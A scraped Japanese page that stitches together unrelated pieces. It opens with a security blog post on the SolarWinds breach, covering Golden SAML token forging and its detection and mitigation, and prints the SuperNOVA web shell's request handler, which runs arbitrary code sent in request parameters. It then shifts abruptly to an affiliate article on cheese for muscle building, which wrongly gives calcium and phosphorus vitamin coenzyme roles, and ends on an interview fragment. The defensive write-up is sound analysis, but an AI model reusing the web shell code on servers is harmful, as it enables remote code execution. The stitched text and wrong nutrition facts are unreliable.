敵対者の最初の目的は、被害者の環境から情報を収集することであると考えられます。この目的を達成するための1つの方法として、敵対者は、昇格したActive Directoryの権限を使ってSAML署名証明書を侵害します。これを達成すると、敵対者は、未承認だが有効なトークンを作成し、その環境のSAMLトークンを信頼するサービスに提示します。これらのトークンを使用して、ホスティングされた環境のリソース(電子メールなど)にアクセスし、認可されたAPIを介してデータを流出させることができます。永続化段階では、サービスプリンシパルに追加の認証情報が添付されることで、ユーザーオブジェクトの活動が難読化されます。これは、ユーザーオブジェクトが個人によってアクセスされているように見えるためで、このような個人のアクセスは通常のものであり、すべてのM365ライセンスレベルでログに記録されません。
SOURCE: https://us-cert.cisa.gov/ncas/alerts/aa20-352a
“SolarWindsのハッカーは、多くのケースでそのアクセスを利用して、被害者のMicrosoft 365メールサービスやMicrosoft Azureクラウドのインフラに侵入していました。”
SAMLのサンプル レスポンス"SolarWindsのハッカーは、そのアクセス権を利用して、被害者のMicrosoft 365メールサービスとMicrosoft Azureクラウドインフラストラクチャに侵入しました。このようなMicrosoft 365やAzureへの侵入を防ぐには、パッチを当てれば済むような特定の脆弱性に依存していないことが課題となります。その代わりに、ハッカーは最初の攻撃で、Microsoft 365やAzureを合法的に見える方法で操作します。今回のケースでは、大きな効果が得られました。"
"攻撃者は、被害者のシステム上で新たに得た権限を利用して、Microsoft 365やAzureのSAMLトークンと呼ばれるシステム認証トークンの生成に使用される証明書や鍵を制御することができます。 企業はこの認証インフラを、クラウドではなくローカルで、Active Directory Federation Servicesというマイクロソフトのコンポーネントを使って管理しています。"
SOURCE: https://www.wired.com/story/solarwinds-hacker-methods-copycats/
磨きをかける。ゴールデンSAML攻撃テクニック
ゴールデンSAMLアタックとはどのようなものですか?
2017年にCyberArk Labsが発見した攻撃ベクトル。このベクトルにより、攻撃者は基本的に偽造されたSAML「認証オブジェクト」であるゴールデンSAMLを作成し、SSOメカニズムとしてSAML 2.0プロトコルを使用するすべてのサービスで認証を行うことができます。
ゴールデン SAML 攻撃では、攻撃者はアプリケーション(SAML 認証をサポートしている任意のアプリケーション)に任意の権限でアクセスし、対象となるアプリケーションの任意のユーザになることができます。
SAMLとは何ですか?
SAMLプロトコル(Security Assertion Markup Language)は、認証および認可データを当事者間で交換するためのオープンスタンダードで、特にIDプロバイダーとサービスプロバイダーの間で使用されます。
SOURCE: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps;
https://github.com/cyberark/shimit
https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html;
https://www.sygnia.co/golden-saml-advisory
攻撃者がユーザーのアイデンティティと権限を保持するオブジェクトに署名する鍵を持っている場合、攻撃者はそのような「認証オブジェクト」(SAMLResponse)を偽造し、任意のユーザーになりすまして Office 365 などのサービスプロバイダーへの不正アクセスを行うことができます。ゴールデンSAML攻撃は、IdPフォージング攻撃と定義することもできます。
https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html;
https://www.sygnia.co/golden-saml-advisory
磨きをかける。ゴールデンSAML攻撃テクニック -DEMO:SAMLのテストアプリ
SOURCE: https://samltestapp2.azurewebsites.net/
磨きをかける。ゴールデンSAML攻撃テクニック -SAMLのサンプル レスポンス
https://github.com/cyberark/shimit;https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
コンプロマイズ後の脅威の活動を検知する+修復する
"侵入者は、さまざまな侵入行為において、複数の持続性メカニズムを使用していることが確認されています。CISAは、既存のAzure/Microsoft 365(M365)アプリケーションサービスのプリンシパルに、トークンや証明書を割り当てる形で認証情報を追加する脅威の行為を確認しています。これらの追加された認証情報は、持続性とエスカレーションのメカニズムを提供し、重要な証拠や遠隔測定を生成することなくホストされたリソースにアクセスするために、Microsoft Cloudのテナントと対話するプログラム方法(多くの場合、Microsoft Graph Application Programming Interface [API]を使用)を提供します。"
Microsoft Graphは、Microsoft 365のデータとインテリジェンスへのゲートウェイです。Microsoft 365、Windows 10、Enterprise Mobility + Securityにある膨大な量のデータにアクセスするために使用できる、統一されたプログラマビリティモデルを提供します。Microsoft Graphの豊富なデータを利用して、何百万人ものユーザーと対話する組織や消費者向けのアプリケーションを構築することができます。
SOURCE: https://us-cert.cisa.gov/ncas/alerts/aa20-352a;
https://docs.microsoft.com/en-us/graph/overview
SOURCE: https://docs.microsoft.com/en-us/graph/overview
Sparrow.ps1は、CISAのクラウドフォレンジックチームが作成したもので、Azure/m365環境で侵害された可能性のあるアカウントやアプリケーションの検出に役立ちます。
https://github.com/nathanawmk/Sparrow
ゴールデンSAML攻撃の抑止。ゴールデンSAMLの検出と緩和
フェデレーション・アイデンティティ・プロバイダー(IdP)技術のベストプラクティスに従う。例えば、AD FS(Active Directory Federation Services by Microsoft)のベストプラクティスなどです。一部のIdPでは、トークン署名証明書をハードウェア・セキュリティ・モジュール(HSM)で保護することをサポートしています。これにより、攻撃者がトークン・サイニング・サーティフィケートを盗むことがより困難になるはずです。
Tier-0 の資産(フェデレーション ID プロバイダもここに含まれます)を保護するために、できる限りのことを行います。これには、適切なクレデンシャルの衛生管理、特権アクセス管理ソリューション、EDR などの導入が含まれます。これにより、攻撃者がそもそもトークン署名証明書を盗むのに十分な権限を得ることが非常に困難になります。
SAML トークンを調査して、疑わしいトークンを特定する(寿命が異常に長いトークンや、異常な主張を持つトークンなど)。
ID プロバイダとサービスプロバイダ間のログを相関させる。サービスプロバイダの SAML 認証が、ID プロバイダによる SAML トークンの発行と相関していない場合は、何かが間違っている。
サードパーティのセキュリティソリューションを使用して、トークン署名証明書が攻撃者に盗まれないように保護します。
多要素認証を有効にし、他のすべての高権限のシングルユーザーの非フェデレーション管理者アカウントを登録する。
Azure ADの管理者ロールの1つ以上に恒久的に割り当てられているすべての個人ユーザーに対して、サインイン時にAzure AD多要素認証(MFA)を要求します。グローバル管理者、特権ロール管理者、Exchange管理者、およびSharePoint管理者。
SOURCE: https://www.cyberark.com/resources/threat-research-blog/golden-saml-revisited-the-solorigate-connection ;
https://docs.microsoft.com/en-us/azure/active-directory/roles/security-planning
https://docs.microsoft.com/en-us/security/compass/overview
将来のサプライチェーンへの攻撃に備えて
多くの組織が非常に多くのサードパーティ・プロバイダーに依存しており、プロバイダーのソフトウェア開発手法(例えば、使用したパスワードなど)を可視化したり制御したりすることができないという事実を考えると、これは非常に困難なことです。
サプライチェーンの可視性を高め、サプライヤーとの信頼関係を構築し、サプライチェーンの侵害に備えた計画を用意することで、企業はサプライチェーンのリスクを軽減することができます。
https://twitter.com/vinodsparrow/status/1338431183588188160
SOURCE: https://www.boozallen.com/c/insight/blog/3-ways-to-prevent-supply-chain-attacks.html
MASテクノロジー・リスク・マネジメント・ガイドライン改訂版 2021年1月
https://www.mas.gov.sg/-/media/MAS/Regulations-and-Financial-Stability/Regulatory-and-Supervisory-Framework/Risk-Management/TRM-Guidelines-18-January-2021.pdf?la=en&hash=607D03D8FD460EBDA89FC2634E25C09B5D0ADDA3
“第三者やオープンソースのソフトウェアコードの使用に関する方針と手順を確立し、これらのコードが金融機関のソフトウェアに統合される前にレビューとテストを受けるようにすべきである。”
6 ソフトウェアアプリケーションの開発と管理
6.1 セキュアコーディング、ソースコードレビュー、アプリケーションセキュリティテスト
6.1.1 ソフトウェアのバグや脆弱性は、典型的には、ITシステムを侵害するために脅威となる行為者に狙われ、悪用されるものであり、また、ソフトウェアの開発方法が悪いために発生することが多い。ソフトウェアのバグや脆弱性を最小化するために、金融商品取引所は、セキュアコーディング、ソースコードレビュー及びアプリケーションセキュリティテストに関する基準を採用する必要があります。
6.1.2 安全なコーディングおよびソースコードレビューの基準は、安全なプログラミングの実践、入力の検証、出力のエンコーディング、アクセスコントロール、認証、暗号の実践、エラーおよび例外処理などの分野をカバーするものとする。
6.1.3 第三者及びオープンソース・ソフトウェア・コードの使用に関する方針及び手順を確立し、これらのコードが金融商品のソフトウェアに統合される前にレビュー及びテストを受けることを保証するものとします。
6.1.4 脆弱性の修正をタイムリーに行うために、金融機関は、金融機関のソフトウェアに組み込まれている第三者やオープンソースのソフトウェアコードの更新情報や報告された脆弱性を把握する必要があります。
6.1.5 金融商品取引業者は、アプリケーションを開発する際に、ソフトウェア開発者がセキュア・コーディング及びアプリケーション・セキュリティ基準を適用するためのトレーニングを受けていること、又は必要な知識及び技能を有していることを保証するものとします。
6.1.6 金融商品取引業者は、アプリケーション・セキュリティの検証及びテストを行うための包括的な戦略を確立することが不可欠です。金融商品取引業者は、ソフトウェア・アプリケーションのセキュリティを検証するために、静的、動的及び対話的なアプリケーション・セキュリティ・テスト手法(アプリケーション・セキュリティ・テストに関する付属書Aを参照)を組み合わせて使用することができます。ソフトウェアの検証及びテストのルールは、定期的に見直しを行い、最新の状態を維持する必要があります。
6.1.7 ソースコードレビュー及びアプリケーションセキュリティテストから発見されたすべての問題点及びソフトウェアの欠陥を追跡するものとする。重大な問題及びソフトウェアの欠陥は、本番環境への導入前に修正されるべきである。
6.2 アジャイルソフトウェア開発
6.2.1 アジャイル・ソフトウェア開発は、反復的かつ漸進的な開発モデルに基づいており、ビジネスや顧客のニーズに対応するためにソフトウェアの開発と提供を加速させるものです。アジャイルソフトウェア開発手法を採用する場合、金融機関は、そのアジャイルプロセスを通して、必要なSDLCとセキュリティ・バイ・デザインの原則を継続して取り入れるべきです。
アジャイル・プロセスを通して必要なSDLCとセキュリティ・バイ・デザインの原則を継続して取り入れるべきです。
6.2.2 金融機関は、アジャイル・ソフトウェア開発において、セキュア・コーディング、ソース・コード・レビュー及びアプリケーション・セキュリティ・テストの基準を確実に適用するものとします。
6.3 DevSecOpsマネジメント
6.3.1 DevSecOpsとは、ソフトウェア開発プロセスにおけるIT運用、品質保証及びセキュリティの実践を自動化し、統合することです。これは、ソフトウェア製品の開発、テスト、およびリリースを頻繁に、効率的に、信頼性高く、安全に行うための継続的インテグレーション、継続的デリバリー、およびITセキュリティプラクティスを構成します。金融機関は、DevSecOpsの活動やプロセスが、SDLCフレームワークやITサービスマネジメントのプロセス(構成管理、変更管理、ソフトウェアリリース管理など)と連携していることを確認する必要があります。
6.3.2 金融機関は、適切なセキュリティ対策を実施し、DevSecOpsプロセスにおけるソフトウェア開発、テスト及びリリース機能の職務分離を実施する必要があります。
6.4 アプリケーション・プログラミング・インターフェースの開発
6.4.1 アプリケーション・プログラミング・インターフェース(API)は、様々なソフトウェアアプリケーションが相互に通信し、対話し、データを交換できるようにするものである。オープンAPIとは、ソフトウェアアプリケーションやウェブサービスへのプログラムによるアクセスを開発者に提供する、一般に公開されたAPIのことです。FIはFinTech企業と協力してオープンAPIを開発することがあり、そのAPIは第三者が顧客や市場向けの製品やサービスを実装するために使用されます。したがって、FIにとっては、このようなサービスを安全に提供するために、APIの開発とプロビジョニングを管理する適切なセーフガードを確立することが重要です。
6.4.2 第三者がAPIを介して金融商品取引所に接続する際の適合性を評価するため、また、第三者のAPIアクセスを管理するため、明確な審査プロセスを実施するものとする。審査基準は、第三者の事業内容、サイバーセキュリティの態勢、業界での評判や実績などの要素を考慮したものでなければならない。
今日のこのセッションを終える前に – Back to the Solarwinds: 大きな変化: SuperNOVA
public void ProcessRequest(HttpContext context) { try { // C# namespaces and assemblies string codes = context.Request["codes"]; // C# class name to instantiate string clazz = context.Request["clazz"]; // C# class method to invoke string method = context.Request["method"]; // Arguments to the invoked method string[] args = context.Request["args"].Split(new char[] {'\n'}); context.Response.ContentType = "text/plain"; context.Response.Write(this.DynamicRun(codes, clazz, method, args)); } //...
SuperNOVAは、Orion Platformの脆弱性を利用して、Orion Platformがインストールされた後に展開されたマルウェアです。
https://www.solarwinds.com/sa-overview/securityadvisory#anchor2;
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-027a
“永遠の警戒は自由の代償である”
“自分が今いる場所で、自分が持っているもので、できることをする。”
セオドア・ルーズベルト
ソーラーウインズの不正アクセスは現在も続いており、その影響が完全に判明するのは後日になると思われます。
https://attack.mitre.org/versions/v8/techniques/T1553/002/
https://us-cert.cisa.gov/ncas/alerts/aa20-352a
https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberatt
ack-and-how-microsoft-defender-helps-protect/
https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-clo
https://attack.mitre.org/techniques/T1606/002/
https://medium.com/mitre-attack/identifying-unc2452-related-techniques-9f7b6c7f3714
https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html
https://www.wired.com/story/solarwinds-hacker-methods-copycats/
https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/
https://attack.mitre.org/software/S0559/
投稿者: 二本松 哲也
SPbD:Security&Privacy by Design Founder ー OWASP Member ー ITは人々の生活をあらゆる面でより良い方向に変化させること ー 競争原理から共創原理へ 二本松 哲也 のすべての投稿を表示
投稿者 二本松 哲也投稿日: 2021年12月9日2021年12月9日カテゴリー Securityタグ cyber kill chain, Golden SAML Attack Technique, SolarWinds, Supply Chain Attack, Tactics Techniques and Procedures
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チーズが筋肉に良い理由は?筋トレ中のたんぱく質補給
チーズが筋肉に良い理由は?筋トレ中のたんぱく質補給
たんぱく質 筋トレ食事
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チーズが筋肉に良く、筋トレ中におすすめな理由は「手軽に動物性タンパク質が補給できる」、「アミノ酸スコアが100」、「低糖質」、「ビタミン・ミネラルもバランス良く含んでいる」、「手に入れやすい」といった理由があります。
この記事をざっとまとめると…
チーズは高タンパクで栄養価が高い食品
アミノ酸スコア100の良質なたんぱく質源
ビタミンはビタミンC・D以外が含まれていて、ミネラルもバランス良く含まれている
チーズは牛乳が苦手でも牛乳と同じ栄養が摂れる
たんぱく質・脂質を含むため腹持ちが良いのでダイエット中にもおすすめ
チーズは牛乳のたんぱく質を凝固させ、水分を絞って作られるため、牛乳の栄養がギュっと詰まっている栄養価の高い食品なので、筋トレ中の栄養補給に役立ってくれます!こちらでは身近なチーズのたんぱく質量や栄養をまとめました!
チーズのたんぱく質・栄養
生乳などを乳酸菌や酵素の働きによって固めたナチュラルチーズ
ナチュラルチーズを加熱して固めたプロセスチーズ
の2種類に大きく分類されています。
ナチュラルチーズは実に原材料の乳、製法、乳酸菌による製造方法の違いで世界中で1000種類以上ものチーズが存在していると言われています。
また、プロセスチーズはナチュラルチーズを加工しているので、品質が安定しているのが特徴です。
チーズでダイエット!減量中の味方「チーズ」の種類・栄養は? チーズはカロリーが高いイメージがあり、ダイエットには不向きなのでは?と思っている人も多いですが、チーズは低糖質食品でありながら高タンパクなのでダイエット向き…
ナチュラルチーズのたんぱく質・カロリー・脂質・炭水化物
ナチュラルチーズはチーズの基本。様々な種類があります。
というように熟成、製造工程、使用するカビによって種類があります。
その中で身近なチーズの栄養情報をピックアップしました。普段食べているチーズのたんぱく質量をチェックしておきましょう。
主なナチュラルチーズ50gあたりの栄養がこちら
チーズは三大栄養素のうち、炭水化物が少なく、たんぱく質と脂質が多い食品です。
たんぱく質は筋肉を作るのに欠かせない栄養ですが、脂質はエネルギーとして働きます。そのためチーズを食べることで、糖質の摂取量を抑えながら、たんぱく質や脂質を補うことができます。
また、チーズに含まれる脂肪は短鎖脂肪酸、中鎖脂肪酸が多く、中鎖脂肪酸は消化吸収が長鎖脂肪酸と比べて短時間でエネルギーとして消費されるのが特徴です。
近年、ダイエットなどの分野で話題になっているココナッツオイルやMCTオイルも中鎖脂肪酸が多い油で、エネルギーとして素早く使われることから注目されています。
チーズは食後の血糖値の上昇が緩やかな低GI食品です。そのため、糖質管理をしたい人にとってピッタリなたんぱく質補給源とも言えます。
エダムチーズは赤い見た目のオランダ産のチーズです。脱脂乳に乳酸菌を足し、ホエイを取り除いた後に熟成させます。さっぱりとした味わいでクセが少ないのが特徴です。
50gあたりたんぱく質は14.5gでカロリーも178kcalとバランスが良く、炭水化物は0.7gと控えめです。
エメンタールチーズは丸い穴が空いた、スイスのエメンタール地方で作られたチーズです。ハードタイプに分類され、ヨーロッパではチーズの王様と言われる代表的なチーズです。
オールマイティーな味わいで料理に使いやすく、チーズフォンデュとも相性が良いです。
たんぱく質も他のチーズと比較しても多い部類に入り、炭水化物は控えめということでボディメイクにもおすすめです。
カッテージチーズは見た目はポロポロとした木綿豆腐のような見た目が特徴のチーズです。生乳から乳脂肪分を取り除いた脱脂乳を原料に作られます。
そんなカッテージチーズは低カロリーなのが特徴です。50gあたりのカロリーは他のチーズが200kcal前後なのに対して、カッテージチーズは53kcalほど、脂質も2.3gとかなり低カロリー・低脂質です。
そのため筋トレやダイエット中にカロリー、脂質を控えたい時にピッタリです。ただし、他のチーズと比べて、たんぱく質量は少ないので、たんぱく質補給という点では他のチーズの方が良いケースもあります。
柔らかくて中身はトロっとした食感が特徴のカマンベールチーズはクセが少なく濃厚な味わいで好きな人も多いですよね。
鮮度が高いフレッシュタイプの他に加熱殺菌によって賞味期限が長く品質が安定しているロングライフタイプがあります。
カロリーもチーズの中では控えめながら、たんぱく質は50gあたりで9.6g摂れて、脂質は12.4gと控えめ、糖質も少ないので、ボディメイク中にも安心して食べられます。
クリームチーズは名前の通り、きめ細くて柔らかいクリーミィな形状が特徴のチーズです。
乳酸菌特有のフレッシュな酸味が楽しめて、ギリシャヨーグルトのような舌触りが楽しめるため、パンやクラッカーに塗って食べるなどディップで食べることができ、フルーツジャムと合わせて食べるのもおすすめ。
たんぱく質は50gあたり4.1gと控えめで脂質は16.5g、炭水化物も1.2gと多めなので、食べすぎには注意したい所。
ゴーダチーズはオランダ原産のセミハードタイプのチーズです。穏やかでクセが少ないマイルドな味が特徴で熟成が進むと旨味がアップします。
50gあたりのカロリーは190kcal、たんぱく質も12.9g摂ることができ、炭水化物も少ないのでダイエット中にもおすすめです。
チェダーチーズはイギリスを代表する牛乳を原料にしたさっぱりとした酸味が特徴のチーズで、世界でも生産量が多いチーズの一つ。
料理アレンジもしやすく、そのままでも美味しいです。カロリーは50gあたり212kcal、脂質も16.9gと高めなので、料理に使う時は、量に注意したいですね。
イタリアンでよく使われるパルメザンチーズはパスタやリゾット、ピザなどでおなじみのチーズですし、ご家庭では粉チーズとして常備している人も多いかと思います。
パルメザンチーズは50gあたりのたんぱく質が22.0gとチーズの中でも多く、脂質は15.4gと他のチーズとそこまで変わらないため、たんぱく質補給にもおすすめな種類と言えます。
ただ、カロリーも238kcalと高いので料理では使いすぎに注意しましょう。
ブルーチーズは青カビを使って熟成させた見た目が特徴的なチーズです。フランスでは最古のチーズとして登場するなど長い歴史を持つチーズです。味わいは塩分が多く、香りが強めなのでクセがあるのではちみつやジャムとの相性が良いです。
50gあたりカロリーは175kcal、たんぱく質9.4gとなっているので料理に合わせやすいです。
ティラミスなどケーキなどに使用されることが多いマスカルポーネチーズはイタリア原産のチーズです。
生乳に熱を加えて酸によって固めた後、布で濾して水分を除いて作られるため、クリーミィな食感に仕上がります。
チーズの中では乳脂肪の割合が高く、たんぱく質は50gあたり2.2gほどと控えめなので、単体でのたんぱく質補給という面では他のチーズよりも少ないです。
モッツアレラチーズは丸い見た目で柔らかさが特徴のフレッシュタイプチーズです。ミルクの風味に程よい酸味があり、加熱によってよく伸びます。
ピザでよく使われますが、他にもカプレーゼなどイタリアンで定番のチーズです。50gあたりのカロリーは138kcalと控えめですし、脂質も10.9gと控えめなのでたんぱく質補給にもおすすめなチーズとなっています。
リコッタチーズはチーズを作っている時に出る水分(ホエイ)を加熱して固めたフレッシュタイプのチーズです。ホエイを使って作られるため、乳脂肪が少なく、さっぱりとしているのが特徴です。
口当たりの良さやミルクの甘味も感じられる食べやすさが人気です。
ホエイを使っているため、50gあたりカロリー81kcal、脂質も5.8gと控えめなのでダイエットや筋トレ中にも安心して食べられます。
その他のチーズ製品のたんぱく質・カロリー・脂質・炭水化物
ナチュラルチーズを加工したプロセスチーズやホエーなどチーズを作るときに出る乳清(ホエー)を加工した製品50gあたりの栄養がこちら
チーズのビタミン・ミネラル
チーズには体を整えるためのビタミンやミネラルも含まれています。
チーズに含まれるビタミン
チーズにはビタミンC、D以外のビタミンが含まれています。中でも「ビタミンA」と「ビタミンB2」、「葉酸」、「パントテン酸」などが多く含まれています。
ビタミンB群は様々なエネルギー代謝に関わる補酵素としての働きがあるため、筋トレのように栄養から多くのエネルギーを必要とする場合に欠かせません。
チーズに多く含まれるビタミンの主な働き
ビタミンA:目や皮膚の粘膜の健康を保つ・抵抗力を高める
ビタミンB1:糖質の代謝に関わる補酵素として働く
ビタミンB2:脂質の代謝に関わる補酵素として働く・疲労回復にも関わる
ビタミンB6:アミノ酸の再合成に関わる補酵素として働く
ビタミンB12:たんぱく質、核酸の合成、アミノ酸、脂肪酸の代謝に関わる補酵素として働く
葉酸:赤血球の生産を助ける・DNA、RNA、核酸などのたんぱく質生合成を促す
パントテン酸:エネルギー代謝をサポートする補酵素コエンザイムAを構成する成分
※出典:健康長寿ネット
チーズに含まれるミネラル
チーズに含まれるミネラルには「ナトリウム」、「カルシウム」、「リン」が多く含まれていて、他にもカリウムやマグネシウム、鉄、亜鉛、銅、マンガンとバランス良く含まれているのが特徴です。
現代人の食事で不足しがちなカルシウムが手軽に補給できるのは嬉しいポイントです。
チーズに多く含まれるミネラルの主な働き
ナトリウム:体内の水分バランスや細胞外液の浸透圧の意地、筋肉の収縮、神経の情報伝達、栄養素の吸収、運搬に関わる
カルシウム:糖質の代謝に関わる補酵素として働く
リン:脂質の代謝に関わる補酵素として働く・疲労回復にも関わる
※出典:健康長寿ネット
筋トレ中におすすめなチーズの食べ方
筋トレ中にチーズを食べる時には
栄養情報をチェックして食べる
小分けタイプで個数を決めて食べる
炭水化物と合わせる場合は量に注意
時間にゆとりを持って食べる
チーズの種類に合わせて食べる
といった点を意識してみるのがおすすめです。
栄養情報をチェックして食べる
市販のチーズは栄養情報が記載されています。チーズ単品でたんぱく質や脂質、炭水化物がどれくらい含まれているのか確認することで、一緒に食べる食材も選びやすくなります。
小分けタイプで個数を決めて食べる
市販のチーズはブロックタイプや袋などに入っているタイプなど様々ですが、おすすめは6Pなど個包装でカットされたタイプ、もしくはチーズキャンディのようなタイプを選ぶことで、カロリーやたんぱく質、脂質の摂取量を管理しやすくなります。
筋力アップと共にボディメイクをする場合はカロリーや脂質管理も重要になりますので、食べすぎを防ぐ上でも小分けタイプはおすすめ。さらに職場などで間食としてたんぱく質補給をしたい時にも便利です。
野菜には食物繊維やビタミン・ミネラルが含まれています。チーズもビタミン・ミネラルが含まれていますが、野菜と一緒に食べることで、栄養バランスを整えやすくなります。
また、食物繊維が豊富な野菜は腸内環境を整えることにも繋がるため、ダイエットや筋トレ中の体調管理にも役立ってくれます。
チーズはビタミンCが少ないので、パプリカやピーマン、ブロッコリー、カリフラワーなどをプラスすることで、バランスが良くなります。
同じ動物性タンパク質が豊富な肉とチーズは栄養面、料理の食材としても相性が良いです。肉類もチーズと同様にアミノ酸スコアが100のものが多く、しっかりとたんぱく質補給したい時にピッタリ。
脂質が多くなりやすいので、高タンパク、低脂質な鶏胸肉とは相性が良くおすすめです♪
アミノ酸スコアが高い食品は?【必須アミノ酸が摂れる食べ物】 「アミノ酸スコア」とは食べ物に含まれる必須アミノ酸のバランスを評価した数値です。 その中で必須アミノ酸の含有量が基準値以上含み、バランスの良い食品はアミノ酸ス…
炭水化物と合わせる時は量に注意
チーズはたんぱく質、脂質が多いので、カロリーも高めになります。そこに炭水化物を多く摂りすぎてしまうと、カロリーオーバーになってしまいます。糖質は摂りすぎてしまうと、エネルギーとして使われなかった分は脂肪に蓄積されてしまうので、体重管理が難しくなってしまいます。
時間にゆとりを持って食べる
チーズはたんぱく質と脂質が多いので、消化に時間がかかります。さらにチーズに多く含まれる乳たんぱくのカゼインはゆっくりと吸収されるため、時間にゆとりを持って食べておくことで、体内に長時間アミノ酸を供給することができます。
そのためトレーニング前の3〜4時間前に摂ることで筋トレ中、筋トレ後にもアミノ酸を血中にキープしておけます。
チーズの種類に合わせて食べる
チーズは種類によってカロリーやたんぱく質、脂質の量に違いがあります。
カロリーを控えながらたんぱく質を補給したい時はカッテージチーズ、リコッタチーズ
しっかりたんぱく質を補給したい時はパルメザンチーズ
脂質を抑えたい時はカッテージチーズ、モッツァレラチーズ、リコッタチーズ
といったようにチーズの特徴に合わせて選ぶことで栄養管理がしやすくなります。
特にたんぱく質を摂りたい時には「エダムチーズ」、「エメンタールチーズ」、「ゴーダチーズ」、「チェダーチーズ」、「パルメザンチーズ」は50gあたりで10g以上のたんぱく質が摂れるのでおすすめです。
筋トレ中の食事管理は冷凍弁当サービスが大活躍!
筋トレ中はたんぱく質補給だけでなく、炭水化物や脂質といった「PFC」のバランスに加えて筋肉を作り、体を整えるためのビタミン・ミネラルといった栄養バランスの良い食事が大切。その上でたんぱく質が不足しないようにすることが大切。
忙しい毎日にトレーニングをしながら高タンパクな食事を続けるのは大変ですし、コンビニなどで高タンパクメニューを買っていても毎日続くと飽きてしまいます。
そんな時に筋トレ中の栄養補給をしっかりサポートしてくれるのが冷凍弁当サービスです。
筋トレ中の食事におすすめなメニューが揃った冷凍弁当「nosh」
noshの食事は管理栄養士が監修しているので、たんぱく質補給はもちろん、糖質管理をサポートしてくれるメニューが揃っています。
お弁当100gあたり16.2g以上が摂れるタンパクメニューで筋トレ中の体作りをサポート
※画像:nosh公式サイト
noshのメニューはたんぱく質が1食30g以上のメニューも用意されているので、筋トレ中のたんぱく質補給をしっかりサポートしてくれます。
動物性タンパク質だけでなく大豆などの植物性タンパク質が摂れるメニューもあり、バランス良くたんぱく質食品を摂ることができます。
鶏肉料理もチーズをたっぷり使ったメニューやスパイスを効かせたメニューなど自分で作るよりも手の混んだメニューなど飽きずに続けられます!
筋トレ中にぴったりなnoshセレクション「トレーニング」
※画像:nosh公式サイト
noshをはじめて利用するなら、noshセレクションの「トレーニング」がおすすめ。
筋トレをしている人にピッタリなnoshおすすめの料理を組み合わせた10食セットが用意されています。
100gあたり、たんぱく質16.2g以上、糖質も低め。
筋トレ中にボディメイクをしていくなら食事管理は欠かせません。noshは1食づつカロリーや糖質、たんぱく質、脂質量が把握できるので、PFCバランスも管理しながら好きなメニューを注文できます。忙しい中で筋トレの効率を高めたい人におすすめなサービスです!
▽ 初回300円割引キャンペーン開催中 ▽
「ナッシュ」を見てみる
1食ずつ選べる&ランクアップ最安1食499円!
公式サイト:https://nosh.jp/
>> noshの実食レポ・口コミ
noshのメニュー58種類を全部食べてみた!【全食制覇特集&ダイエットレポート】 低糖質で美味しい食事が食べられる宅配食事サービス「nosh-ナッシュ」のメニュー全58食を実食しました! noshのメイン料理・主食・スープ・デザートの全メニューを実食…
RIZAPの冷凍弁当「RIZAPサポートミール」
RIZAPサポートミール数々の有名人のボディメイク・肉体改造を成功させてきたRIZAPから冷凍弁当が登場しました。
ダイエットや肉体改造のプロである、RIZAPがノウハウや食事メソッドを元に作り上げた筋トレ中の食事ピッタリな冷凍弁当です。
RIZAPサポートミールは1食あたり糖質10g前後、たんぱく質18g以上、野菜やきのこなど食物繊維が摂れる食材100g以上使用した栄養バランスの良い食事です!
食事の好みに合わせて選べるセット
RIZAPの注文は定期コースとその都度注文が用意されているのですが、セット内容は7食、2週間セット14食が用意されています。
各セットの食事はRIZAP公式サイトのメニューで献立や栄養情報、原材料が確認できるので、食事の好みに合わせてセットを選ぶことができます。
その都度注文では「お肉セット」、「お魚セット」といったメニューに加えてバランス良く色々な食事が楽しめる「1週間セット」が用意されています。
その都度注文:7食セット:6,180円(税込)・2週間セット12,200円(税込)送料800円(税込)
定期コース:7食セット:5,871円(税込)・2週間セット11,590円(税込)送料600円(税込)※定期コースは3回の継続が条件のお得なプランになっています。
RIZAPの食事メソッドが詰め込まれたダイエットや体作りのための食事を自宅で手軽に食べられるのは嬉しいですね。
定期コースは5%割引で利用できるので継続して利用したい人はお得です!
\ 1食883円でライザップ体験! /
公式サイトはこちらから
チーズが筋肉に良い理由まとめ
チーズが筋肉に良い理由は、
高タンパクで必須アミノ酸がバランス良く摂れる良質なたんぱく質食品
チーズの乳たんぱく質は体内にゆっくりと吸収されるのでアミノ酸が血中に長時間供給できる
ビタミン・ミネラルも充実している
低糖質で糖質制限中にも食べられる
チーズの脂質は中鎖脂肪酸が多く、素早くエネルギーとして使われる
小分け・個別包装で持ち運びやすく、外出先でも手軽にたんぱく質が摂れる
チーズは牛乳の栄養がギュっと詰まった栄養豊富な食品です。しかも牛乳が苦手な人でも食べられるので、たんぱく質だけでなく、カルシウムや鉄分などのミネラルも補える栄養補助食品としても優秀です。
筋トレに取り組んでいて手軽なたんぱく質補給をしたい人はチーズを取り入れてみてはいかがでしょう?
筋トレ中の強い味方!【豆腐・豆乳などの大豆製品のアミノ酸量・アミノ酸スコア】 筋トレ中の食事に豆腐や豆乳、納豆、おからなどの大豆製品を取り入れることで、 「手軽に植物性タンパク質が摂れる」「大豆製品はアミノ酸スコアが高い」「肉、魚に含ま…
筋トレ効果を高めるビタミンとは?【効率の良いビタミンの摂り方&食べ物】 筋トレ効果を高めて筋力アップを目指すためには「たんぱく質」だけでなく、「ビタミン」、「ミネラル」などの栄養素が必要です。 筋肉合成やエネルギー補給、酸化から細…
忙しい時や料理ができない時には、手軽にタンパク質を補うためにもコンビニで買える食品も利用するのがおすすめ。
コンビニで買えるタンパク質が多い食品&飲み物 コンビニで買えるたんぱく質が摂れる食品と言えばサラダチキンやプロテインバーがありますが、それ以外にもたんぱく質補給に役立つ食べ物は沢山あります。 手軽に食べら…


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text:
今回は社員インタビューとして開発エンジニアのKoujiさんにお話を伺いましたので、その内容をお届けできればと思います。
